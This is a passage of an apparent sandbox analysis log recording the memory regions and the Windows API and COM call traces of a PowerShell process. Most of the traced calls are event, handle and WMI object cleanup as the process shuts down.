"private_0x000000007ef89000" filename = "" Region: id = 2781 start_va = 0x4850000 end_va = 0x4854fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmiutils.dll.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmiutils.dll.mui") Region: id = 2794 start_va = 0x4900000 end_va = 0x493ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 2795 start_va = 0x5ac0000 end_va = 0x5afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ac0000" filename = "" Region: id = 2796 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2798 start_va = 0x74940000 end_va = 0x7494afff monitored = 0 entry_point = 0x74941992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2801 start_va = 0x73b40000 end_va = 0x73b7bfff monitored = 0 entry_point = 0x73b4145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2808 start_va = 0x5ee0000 end_va = 0x5fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ee0000" filename = "" Region: id = 2809 start_va = 0x73b30000 end_va = 0x73b34fff monitored = 0 entry_point = 0x73b315df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 2810 start_va = 0x73b20000 end_va = 0x73b25fff monitored = 0 entry_point = 0x73b21673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 2812 start_va = 0x73ba0000 end_va = 0x73be3fff monitored = 0 entry_point = 0x73bb63f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2816 start_va = 0x5ee0000 end_va = 0x5f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ee0000" filename = "" Region: id = 2817 start_va = 0x5fa0000 end_va = 0x5fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fa0000" filename = "" Region: id = 2818 start_va = 0x74920000 end_va = 0x7493bfff monitored = 0 entry_point = 0x7492a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2819 start_va = 0x73b90000 end_va = 0x73b96fff monitored = 0 entry_point = 0x73b9128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2827 start_va = 0x739b0000 end_va = 0x739b5fff monitored = 0 entry_point = 0x739b14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2829 start_va = 0x6a6e0000 end_va = 0x6a717fff monitored = 0 entry_point = 0x6a6e990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2830 start_va = 0x5fe0000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fe0000" filename = "" Region: id = 2836 start_va = 0x48a0000 end_va = 0x48a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2837 start_va = 0x48b0000 end_va = 0x48b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2846 start_va = 0x6090000 end_va = 0x60cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2847 start_va = 0x6120000 end_va = 0x615ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006120000" filename = "" Region: id = 2848 start_va = 0x61d0000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000061d0000" filename = "" Region: id = 2849 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2854 start_va = 0x69b70000 end_va = 0x6a6ddfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 2860 start_va = 0x48a0000 end_va = 0x48a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2861 start_va = 0x48b0000 end_va = 0x48b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2864 start_va = 0x48a0000 end_va = 0x48affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048a0000" filename = "" Region: id = 2869 start_va = 0x48b0000 end_va = 0x48bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 2870 start_va = 0x4900000 end_va = 0x490ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 2878 start_va = 0x4910000 end_va = 0x4917fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2879 start_va = 0x4920000 end_va = 0x4927fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2883 start_va = 0x5ae0000 end_va = 0x5b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ae0000" filename = "" Region: id = 2884 start_va = 0x60a0000 end_va = 0x60dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060a0000" filename = "" Region: id = 2885 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2887 start_va = 0x4910000 end_va = 0x491ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 2891 start_va = 0x4910000 end_va = 0x491ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 2982 start_va = 0x6040000 end_va = 0x607ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006040000" filename = "" Region: id = 2983 start_va = 0x60c0000 end_va = 0x60fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060c0000" filename = "" Region: id = 2984 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2986 start_va = 0x4910000 end_va = 0x491ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Thread: id = 15 os_tid = 0xf3c [0142.891] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4bc [0142.892] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4b4 [0142.892] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x56c [0142.892] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b8 [0142.892] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4cc [0142.892] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4c8 [0142.893] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x598 [0142.893] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x59c [0142.893] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5a0 [0142.893] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5a4 [0142.893] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5a8 [0142.894] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5ac [0142.894] SetEvent (hEvent=0x4b8) returned 1 [0142.894] SetEvent (hEvent=0x4bc) returned 1 [0142.894] SetEvent (hEvent=0x4b4) returned 1 [0142.894] SetEvent (hEvent=0x56c) returned 1 [0142.894] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0142.894] SetEvent (hEvent=0x364) returned 1 [0142.908] SetEvent (hEvent=0x4cc) returned 1 [0142.908] SetEvent (hEvent=0x4c8) returned 1 [0142.908] SetEvent (hEvent=0x598) returned 1 [0142.930] CoCreateGuid (in: pguid=0x12dd58 | out: pguid=0x12dd58*(Data1=0xfb2ac509, Data2=0x6b89, Data3=0x44c9, Data4=([0]=0xb0, [1]=0xb, [2]=0xed, [3]=0xcf, [4]=0x3c, [5]=0x2c, [6]=0x76, [7]=0x14))) returned 0x0 [0142.932] ReportEventW (hEventLog=0x4980004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x23229e4*="Stopped", lpRawData=0x232290c) returned 1 [0142.944] SetEvent (hEvent=0x364) returned 1 [0143.135] CloseHandle (hObject=0x364) returned 1 [0143.294] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0143.297] CoGetContextToken (in: pToken=0x12f41c | out: pToken=0x12f41c) returned 0x0 [0143.297] IUnknown:QueryInterface (in: This=0x3428f0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12f440 | out: ppvObject=0x12f440*=0x3428fc) returned 0x0 [0143.298] IComThreadingInfo:GetCurrentThreadType (in: This=0x3428fc, pThreadType=0x12f4a0 | out: pThreadType=0x12f4a0*=0) returned 0x0 [0143.298] IUnknown:Release (This=0x3428fc) returned 0x1 [0143.299] CoGetContextToken (in: pToken=0x12f12c | out: pToken=0x12f12c) returned 0x0 [0143.299] IUnknown:QueryInterface (in: This=0x3428f0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12f150 | out: ppvObject=0x12f150*=0x3428fc) returned 0x0 [0143.299] IComThreadingInfo:GetCurrentThreadType (in: This=0x3428fc, pThreadType=0x12f17c | out: pThreadType=0x12f17c*=0) returned 0x0 [0143.299] IUnknown:Release (This=0x3428fc) returned 0x1 [0143.304] CoGetContextToken (in: pToken=0x12f12c | out: pToken=0x12f12c) returned 0x0 [0143.304] IUnknown:QueryInterface (in: This=0x3428f0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12f150 | out: ppvObject=0x12f150*=0x3428fc) returned 0x0 [0143.304] IComThreadingInfo:GetCurrentThreadType (in: This=0x3428fc, pThreadType=0x12f17c | out: pThreadType=0x12f17c*=0) returned 0x0 [0143.305] IUnknown:Release (This=0x3428fc) returned 0x1 [0143.336] CoGetContextToken (in: pToken=0x12f12c | out: pToken=0x12f12c) returned 0x0 [0143.336] IUnknown:QueryInterface (in: This=0x3428f0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12f150 | out: ppvObject=0x12f150*=0x3428fc) returned 0x0 [0143.336] IComThreadingInfo:GetCurrentThreadType (in: This=0x3428fc, pThreadType=0x12f17c | out: pThreadType=0x12f17c*=0) returned 0x0 [0143.336] IUnknown:Release (This=0x3428fc) returned 0x1 [0143.460] CoGetContextToken (in: pToken=0x12f14c | out: pToken=0x12f14c) returned 0x0 [0143.460] IUnknown:QueryInterface (in: This=0x3428f0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12f170 | out: ppvObject=0x12f170*=0x3428fc) returned 0x0 [0143.460] IComThreadingInfo:GetCurrentThreadType (in: This=0x3428fc, pThreadType=0x12f19c | out: pThreadType=0x12f19c*=0) returned 0x0 [0143.460] IUnknown:Release (This=0x3428fc) returned 0x1 [0143.472] CoUninitialize () Thread: id = 17 os_tid = 0xf64 Thread: id = 20 os_tid = 0xf70 [0115.140] RegCloseKey (hKey=0x360) returned 0x0 [0118.818] CloseHandle (hObject=0x3e8) returned 1 [0118.818] CloseHandle (hObject=0x3c8) returned 1 [0118.818] CloseHandle (hObject=0x3ec) returned 1 [0118.818] CloseHandle (hObject=0x3f4) returned 1 [0118.818] CloseHandle (hObject=0x3f0) returned 1 [0131.265] CoGetContextToken (in: pToken=0x80f7d4 | out: pToken=0x80f7d4) returned 0x0 [0131.265] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.265] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x1 [0131.265] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x0 [0131.265] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.265] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37bac8) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37bac8) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.266] WbemDefPath:IUnknown:Release (This=0x37bb38) returned 0x1 [0131.266] WbemDefPath:IUnknown:Release (This=0x37bb38) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f7d4 | out: pToken=0x80f7d4) returned 0x0 [0131.266] CoGetContextToken (in: pToken=0x80f758 | out: pToken=0x80f758) returned 0x0 [0131.267] WbemLocator:IUnknown:Release (This=0x5c4f168) returned 0x1 [0131.267] WbemLocator:IUnknown:Release (This=0x5c4f168) returned 0x0 [0131.267] CoGetContextToken (in: pToken=0x80f7d4 | out: pToken=0x80f7d4) returned 0x0 [0131.267] IUnknown:QueryInterface (in: This=0x342a60, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x80f774 | out: ppvObject=0x80f774*=0x342a70) returned 0x0 [0131.267] CObjectContext::ContextCallback () returned 0x0 [0136.960] IUnknown:Release (This=0x342a70) returned 0x1 [0136.961] IUnknown:Release (This=0x5c63220) returned 0x0 [0136.961] CloseHandle (hObject=0x4fc) returned 1 [0136.961] CloseHandle (hObject=0x4f8) returned 1 [0136.961] CloseHandle (hObject=0x4f4) returned 1 [0136.961] CloseHandle (hObject=0x4f0) returned 1 [0136.961] CloseHandle (hObject=0x4ec) returned 1 [0136.962] CloseHandle (hObject=0x4e8) returned 1 [0136.962] CloseHandle (hObject=0x4e4) returned 1 [0136.962] CloseHandle (hObject=0x4e0) returned 1 [0136.962] CloseHandle (hObject=0x4dc) returned 1 [0136.962] CloseHandle (hObject=0x4d8) returned 1 [0136.962] CloseHandle (hObject=0x4d4) returned 1 [0136.962] CloseHandle (hObject=0x564) returned 1 [0136.963] CloseHandle (hObject=0x3f0) returned 1 [0136.963] CloseHandle (hObject=0x500) returned 1 [0143.299] EtwEventUnregister () returned 0x0 [0143.299] EtwEventUnregister () returned 0x0 [0143.300] EtwEventUnregister () returned 0x0 [0143.300] EtwEventUnregister () returned 0x0 [0143.300] EtwEventUnregister () returned 0x0 [0143.300] EtwEventUnregister () returned 0x0 [0143.300] EtwEventUnregister () returned 0x0 [0143.300] EtwEventUnregister () returned 0x0 [0143.302] LocalFree (hMem=0x35bd68) returned 0x0 [0143.302] LocalFree (hMem=0x35bce0) returned 0x0 [0143.307] IUnknown:Release (This=0x5c94c20) returned 0x0 [0143.307] IUnknown:Release (This=0x5c8ed30) returned 0x0 [0143.308] IUnknown:Release (This=0x5c79be0) returned 0x0 [0143.308] IUnknown:Release (This=0x5c50300) returned 0x0 [0143.308] IUnknown:Release (This=0x5c88840) returned 0x0 [0143.309] IUnknown:Release (This=0x5c506a0) returned 0x0 [0143.309] IUnknown:Release (This=0x3b08c8) returned 0x0 [0143.312] EtwEventUnregister () returned 0x0 [0143.314] IUnknown:Release (This=0x5c58ef0) returned 0x0 [0143.319] CloseHandle (hObject=0x2d4) returned 1 [0143.321] CloseHandle (hObject=0x404) returned 1 [0143.321] CloseHandle (hObject=0x3f8) returned 1 [0143.322] CloseHandle (hObject=0x40c) returned 1 [0143.322] CloseHandle (hObject=0x408) returned 1 [0143.322] CloseHandle (hObject=0x59c) returned 1 [0143.323] CloseHandle (hObject=0x35c) returned 1 [0143.323] CloseHandle (hObject=0x358) returned 1 [0143.323] CloseHandle (hObject=0x354) returned 1 [0143.323] CloseHandle (hObject=0x350) returned 1 [0143.324] CloseHandle (hObject=0x34c) returned 1 [0143.324] CloseHandle (hObject=0x348) returned 1 [0143.324] CloseHandle (hObject=0x344) returned 1 [0143.324] CloseHandle (hObject=0x340) returned 1 [0143.325] CloseHandle (hObject=0x33c) returned 1 [0143.325] CloseHandle (hObject=0x338) returned 1 [0143.325] CloseHandle (hObject=0x330) returned 1 [0143.326] CloseHandle (hObject=0x2cc) returned 1 [0143.326] CloseHandle (hObject=0x318) returned 1 [0143.326] CloseHandle (hObject=0x598) returned 1 [0143.327] CloseHandle (hObject=0x4c8) returned 1 [0143.327] CloseHandle (hObject=0x584) returned 1 [0143.327] CloseHandle (hObject=0x580) returned 1 [0143.328] CloseHandle (hObject=0x508) returned 1 [0143.328] CloseHandle (hObject=0x57c) returned 1 [0143.328] CloseHandle (hObject=0x3cc) returned 1 [0143.329] LocalFree (hMem=0x3c2de0) returned 0x0 [0143.329] UnmapViewOfFile (lpBaseAddress=0x44f0000) returned 1 [0143.330] CloseHandle (hObject=0x578) returned 1 [0143.331] CloseHandle (hObject=0x574) returned 1 [0143.331] CloseHandle (hObject=0x564) returned 1 [0143.331] CloseHandle (hObject=0x4cc) returned 1 [0143.331] CloseHandle (hObject=0x4b8) returned 1 [0143.332] CloseHandle (hObject=0x56c) returned 1 [0143.332] CloseHandle (hObject=0x3f0) returned 1 [0143.332] CloseHandle (hObject=0x500) returned 1 [0143.332] CloseHandle (hObject=0x468) returned 1 [0143.333] CloseHandle (hObject=0x458) returned 1 [0143.333] CloseHandle (hObject=0x558) returned 1 [0143.333] CloseHandle (hObject=0x550) returned 1 [0143.334] DeregisterEventSource (hEventLog=0x4980004) returned 1 [0143.445] CloseHandle (hObject=0x4c4) returned 1 [0143.446] CloseHandle (hObject=0x4b4) returned 1 [0143.446] CloseHandle (hObject=0xf) returned 1 [0143.447] CloseHandle (hObject=0x4bc) returned 1 [0143.447] CloseHandle (hObject=0x5b0) returned 1 [0143.447] CloseHandle (hObject=0x554) returned 1 [0143.447] CloseHandle (hObject=0x5ac) returned 1 [0143.448] CloseHandle (hObject=0x5a8) returned 1 [0143.448] CloseHandle (hObject=0x5a4) returned 1 [0143.448] CloseHandle (hObject=0x4f4) returned 1 [0143.448] CloseHandle (hObject=0x548) returned 1 [0143.449] CloseHandle (hObject=0x540) returned 1 [0143.449] CloseHandle (hObject=0x5a0) returned 1 [0143.450] CloseHandle (hObject=0x228) returned 1 [0143.450] CloseHandle (hObject=0x568) returned 1 [0143.450] LocalFree (hMem=0x3e71a8) returned 0x0 [0143.451] CloseHandle (hObject=0x588) returned 1 [0143.451] CloseHandle (hObject=0x4f0) returned 1 [0143.451] RegCloseKey (hKey=0x80000004) returned 0x0 [0143.452] CloseHandle (hObject=0x4ec) returned 1 [0143.452] CloseHandle (hObject=0x4e8) returned 1 [0143.452] CloseHandle (hObject=0x4e4) returned 1 [0143.453] CloseHandle (hObject=0x4e0) returned 1 [0143.453] CloseHandle (hObject=0x3c0) returned 1 [0143.454] CoGetContextToken (in: pToken=0x80f414 | out: pToken=0x80f414) returned 0x0 [0143.454] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.454] WbemDefPath:IUnknown:Release (This=0x37bc18) returned 0x1 [0143.454] WbemDefPath:IUnknown:Release (This=0x37bc18) returned 0x0 [0143.454] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.454] WbemDefPath:IUnknown:Release (This=0x37bba8) returned 0x1 [0143.454] WbemDefPath:IUnknown:Release (This=0x37bba8) returned 0x0 [0143.455] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x1 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x0 [0143.455] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x1 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x0 [0143.455] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.455] WbemDefPath:IUnknown:Release (This=0x5c91c50) returned 0x1 [0143.455] WbemDefPath:IUnknown:Release (This=0x5c91c50) returned 0x0 [0143.455] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b4a8) returned 0x1 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b4a8) returned 0x0 [0143.455] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x1 [0143.455] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x0 [0143.456] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.456] WbemDefPath:IUnknown:Release (This=0x37b5f8) returned 0x1 [0143.456] WbemDefPath:IUnknown:Release (This=0x37b5f8) returned 0x0 [0143.456] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.456] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x1 [0143.456] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x0 [0143.456] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.456] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x1 [0143.456] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x0 [0143.456] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.456] WbemDefPath:IUnknown:Release (This=0x37bc88) returned 0x1 [0143.456] WbemDefPath:IUnknown:Release (This=0x37bc88) returned 0x0 [0143.456] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.456] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x1 [0143.456] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x0 [0143.457] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.457] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x1 [0143.457] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x0 [0143.457] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.457] WbemDefPath:IUnknown:Release (This=0x37b978) returned 0x1 [0143.457] WbemDefPath:IUnknown:Release (This=0x37b978) returned 0x0 [0143.457] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.457] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x1 [0143.457] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x0 [0143.457] CoGetContextToken (in: pToken=0x80f414 | out: pToken=0x80f414) returned 0x0 [0143.457] CoGetContextToken (in: pToken=0x80f398 | out: pToken=0x80f398) returned 0x0 [0143.457] WbemLocator:IUnknown:Release (This=0x38f918) returned 0x4 [0143.459] CoReleaseMarshalData (pStm=0x3d8298) returned 0x0 [0143.459] WbemLocator:IUnknown:Release (This=0x38f918) returned 0x3 [0143.459] WbemLocator:IUnknown:Release (This=0x38f918) returned 0x2 [0143.459] WbemLocator:IUnknown:Release (This=0x38f918) returned 0x1 [0143.459] WbemLocator:IUnknown:Release (This=0x38f918) returned 0x0 [0143.471] IUnknown:Release (This=0x3428f0) returned 0x0 Thread: id = 23 os_tid = 0xf7c Thread: id = 28 os_tid = 0xf90 Thread: id = 29 os_tid = 0xf94 Thread: id = 32 os_tid = 0xfa0 Thread: id = 36 os_tid = 0xfb0 [0112.493] CoCreateGuid (in: pguid=0x4a4e8e0 | out: pguid=0x4a4e8e0*(Data1=0xf4de8169, Data2=0x3d16, Data3=0x452c, Data4=([0]=0xb6, [1]=0x45, [2]=0x3d, [3]=0x31, [4]=0xa5, [5]=0xec, [6]=0x2f, [7]=0xa2))) returned 0x0 Thread: id = 38 os_tid = 0xfb8 Thread: id = 42 os_tid = 0xfc8 